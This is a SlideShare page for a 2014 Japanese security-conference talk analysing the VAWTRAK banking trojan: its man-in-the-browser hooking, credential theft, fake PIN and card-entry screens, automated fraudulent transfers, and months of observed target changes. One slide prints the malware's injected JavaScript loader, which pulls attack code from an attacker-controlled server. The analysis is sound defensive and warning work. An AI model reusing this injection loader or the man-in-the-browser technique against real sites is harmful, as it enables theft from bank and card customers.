Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
VAWTRAK観察日記
ニシダマサタ
AVTOKYO2014
Nov. 15th 2014
自己紹介
• ニシダマサタ (西田雅太)
• 株式会社セキュアブレイン
• 普段は解析・研究よりもコード書いてる
• PEファイルの解析やったことない
• 目グレップとか無理ゲー
• Rubyist
今日のテーマ
不正送金マルウェアのお話
• VAWTRAK攻撃手法の解説
• VAWTRAKのコンフィグの観測
VAWTRAK
• 2014年、日本で流行した不正送金マルウェア
• MITB攻撃によりブラウザの通信を書き換え
• 金融機関利用者のアカウント情報を盗んだり
する
VAWTRAK攻撃手法の解説
MITB
(Man In The Browser)
• VAWTRAKは起動しているプロセスにコードを

インジェクションする
• プロセスがブラウザだったら通信に使うDLLの
APIをフックして、通信を書き換える
• IEの場合、winine...
コンフィグの取得
(MITBのターゲット、方法)
<html>
<head>
<title>Internet Banking</title>
ユーザが正規コンテンツ
へのアクセス
<html>
<head>
<title>Internet Banking</title>
正規コンテンツに<script>を挿入
MITB
<script src=”/bmhnno/?…”>
攻撃本体のJavaScript
******
暗証番号を入力
してください
OK
盗んだ情報の送信
マニピュレーションサーバ
• C&Cとは別のサーバ
• 攻撃JavaScriptの配信
• ログイン情報(ID,パスワード)の送信先
• 送金先口座情報の配信
MITB Injection
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/
loose.dtd">
<HT...
MITB Injection
どの銀行でもほぼ同じスニペット
マニピュレーションサーバはHTTPのRefererヘッダで
アクセス元を判断して配信する攻撃JavaScriptを判断
<script jve=1 src="/bmhnno/?c=s...
攻撃JavaScriptの本体
• ログイン情報(ID,パスワード)の窃取
• 偽入力画面の表示
• 警告表示の削除
• 半自動送金機能
• 構造化されている
• 共通部分と各銀行ごとになっている部分
• 下手なプロダクトコードよりよっぽどきれ...
半自動送金機能
• ログイン直後に実行される
• マニピュレーションサーバからの応答に送金
先口座情報・送金額が含まれていた場合に、
送金を実行
• プログレスバーを表示してユーザ行動を抑制
• 攻撃JavaScriptがXMLHTTPRequ...
クロスドメインの回避
• このMITB設定は攻撃JavaScript本体でも使用
• MITBを使ってIE6でもXMLHTTPRequestでクロス
ドメインスクリプトを実現…?
• ブラウザは元のHTMLと同じドメインに通信
しているつもり
...
リクエストフロー
感染PC 正規インターネット
バンキングサーバ
マニピュレーションサーバ
ログイン
ボタン押下
プログレスバーの表示
セッションIDの発行
セッションIDと口座残高の送信
送信先口座情報&送金額
正規ログイン処理
アカウント概...
マニピュレーションサーバに
攻撃JavaScriptと同じ
リクエストを送ってみた
CENSORED
VAWTRAK観察日記
長期的なVAWTRAKの監視
• 仮想環境で検体を動かす
• C&Cからのコンフィグの変化などを観測
2014/05/16
• ワンタイムパスワードが盗まれるのがニュースになった
• 自分たちも観測していた事実を発表して注意喚起をする
ことに
• 偽画面を出してブラウザ上で不正送金
• そのとき、偽のワンタイムパスワード入力画面が表示さ
れるこ...
CENSORED
2014/07/16
• カード会社20社への攻撃追加
• カード会社のページにログインするとログ
インID,パスワードが攻撃者のサーバに送信
• さらにカード情報を入力する偽画面の表示
CENSORED
2014/07/18
• 地銀11行への攻撃追加
• 攻撃内容は今までの銀行と基本的におなじ
• ID、パスワードの窃取
CENSORED
2014/09/19
• [CENSORED]、ヤフオク!が攻撃対象に追加
• 基本、カード会社と同じ攻撃
• ログイン情報の窃取
• 偽のカード情報入力画面
• [CENSORED]は日本語、英語2言語の対応CENSORED
CENSORED
CENSORED
まとめ
• マルウェアのプラットフォーム化
• 外部から攻撃内容を取得
• 攻撃対象の変化の観測
• 攻撃の変化が見える
• 注意喚起を適切にするのは難しい
• ユーザと企業とそれぞれに配慮する必要が
ある
Upcoming SlideShare
Loading in …5
×

AVTOKYO2014 Obsevation of VAWTRAK(ja)

2,857 views

Published on

@AVTOKYO2014

Published in: Internet

AVTOKYO2014 Obsevation of VAWTRAK(ja)

  1. 1. VAWTRAK観察日記 ニシダマサタ AVTOKYO2014 Nov. 15th 2014
  2. 2. 自己紹介 • ニシダマサタ (西田雅太) • 株式会社セキュアブレイン • 普段は解析・研究よりもコード書いてる • PEファイルの解析やったことない • 目グレップとか無理ゲー • Rubyist
  3. 3. 今日のテーマ 不正送金マルウェアのお話 • VAWTRAK攻撃手法の解説 • VAWTRAKのコンフィグの観測
  4. 4. VAWTRAK • 2014年、日本で流行した不正送金マルウェア • MITB攻撃によりブラウザの通信を書き換え • 金融機関利用者のアカウント情報を盗んだり する
  5. 5. VAWTRAK攻撃手法の解説
  6. 6. MITB (Man In The Browser) • VAWTRAKは起動しているプロセスにコードを
 インジェクションする • プロセスがブラウザだったら通信に使うDLLの APIをフックして、通信を書き換える • IEの場合、wininet.dll • 対象ブラウザ → IE, Firefox, Chrome
  7. 7. コンフィグの取得 (MITBのターゲット、方法)
  8. 8. <html> <head> <title>Internet Banking</title> ユーザが正規コンテンツ へのアクセス
  9. 9. <html> <head> <title>Internet Banking</title> 正規コンテンツに<script>を挿入 MITB <script src=”/bmhnno/?…”>
  10. 10. 攻撃本体のJavaScript
  11. 11. ****** 暗証番号を入力 してください OK 盗んだ情報の送信
  12. 12. マニピュレーションサーバ • C&Cとは別のサーバ • 攻撃JavaScriptの配信 • ログイン情報(ID,パスワード)の送信先 • 送金先口座情報の配信
  13. 13. MITB Injection <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/ loose.dtd"> <HTML lang="ja"> <HEAD><script jve=1>(function(){try{var e="/bmhnno/?c=script&v=3";var t= “D2YWRHBX_BB51F…”; if(t.length!=10){e+=“&b=“+ encodeURIComponent(t) }var n=document.getElementsByTagName (“head”)[0]; var r=document.createElement(“script"); if(r&&n){r.jve=1;r.src=e;n.appendChild (r)}}catch(i){}})() </script> <META http-equiv="Content-Type" content="text/html; charset=SHIFT_JIS"> <META http-equiv="Pragma" content="no-cache"> <script jve=1 src="/bmhnno/?c=script&v=3&b=D2YWR..."></script> “/bmhnno/…” → MITBでマニピュレーションサーバへの通信に書き換え
  14. 14. MITB Injection どの銀行でもほぼ同じスニペット マニピュレーションサーバはHTTPのRefererヘッダで アクセス元を判断して配信する攻撃JavaScriptを判断 <script jve=1 src="/bmhnno/?c=script&v=3&b=D2YWR..."></script>
  15. 15. 攻撃JavaScriptの本体 • ログイン情報(ID,パスワード)の窃取 • 偽入力画面の表示 • 警告表示の削除 • 半自動送金機能 • 構造化されている • 共通部分と各銀行ごとになっている部分 • 下手なプロダクトコードよりよっぽどきれいなコード
  16. 16. 半自動送金機能 • ログイン直後に実行される • マニピュレーションサーバからの応答に送金 先口座情報・送金額が含まれていた場合に、 送金を実行 • プログレスバーを表示してユーザ行動を抑制 • 攻撃JavaScriptがXMLHTTPRequestを利用して 正規の振込と同じリクエストを再現 • クロスドメインの回避
  17. 17. クロスドメインの回避 • このMITB設定は攻撃JavaScript本体でも使用 • MITBを使ってIE6でもXMLHTTPRequestでクロス ドメインスクリプトを実現…? • ブラウザは元のHTMLと同じドメインに通信 しているつもり • 実際には通信先が書き換えられる <script jve=1 src="/bmhnno/?c=script&v=3&b=D2YWR..."></script>
  18. 18. リクエストフロー 感染PC 正規インターネット バンキングサーバ マニピュレーションサーバ ログイン ボタン押下 プログレスバーの表示 セッションIDの発行 セッションIDと口座残高の送信 送信先口座情報&送金額 正規ログイン処理 アカウント概要画面 正規振込リクエスト アカウント画面から 残高情報の取得 必要に応じてパスワー ド入力画面を表示 ログイン情報の送信
  19. 19. マニピュレーションサーバに 攻撃JavaScriptと同じ リクエストを送ってみた
  20. 20. CENSORED
  21. 21. VAWTRAK観察日記
  22. 22. 長期的なVAWTRAKの監視 • 仮想環境で検体を動かす • C&Cからのコンフィグの変化などを観測
  23. 23. 2014/05/16 • ワンタイムパスワードが盗まれるのがニュースになった • 自分たちも観測していた事実を発表して注意喚起をする ことに • 偽画面を出してブラウザ上で不正送金 • そのとき、偽のワンタイムパスワード入力画面が表示さ れることがある
  24. 24. CENSORED
  25. 25. 2014/07/16 • カード会社20社への攻撃追加 • カード会社のページにログインするとログ インID,パスワードが攻撃者のサーバに送信 • さらにカード情報を入力する偽画面の表示
  26. 26. CENSORED
  27. 27. 2014/07/18 • 地銀11行への攻撃追加 • 攻撃内容は今までの銀行と基本的におなじ • ID、パスワードの窃取
  28. 28. CENSORED
  29. 29. 2014/09/19 • [CENSORED]、ヤフオク!が攻撃対象に追加 • 基本、カード会社と同じ攻撃 • ログイン情報の窃取 • 偽のカード情報入力画面 • [CENSORED]は日本語、英語2言語の対応CENSORED CENSORED
  30. 30. CENSORED
  31. 31. まとめ • マルウェアのプラットフォーム化 • 外部から攻撃内容を取得 • 攻撃対象の変化の観測 • 攻撃の変化が見える • 注意喚起を適切にするのは難しい • ユーザと企業とそれぞれに配慮する必要が ある

×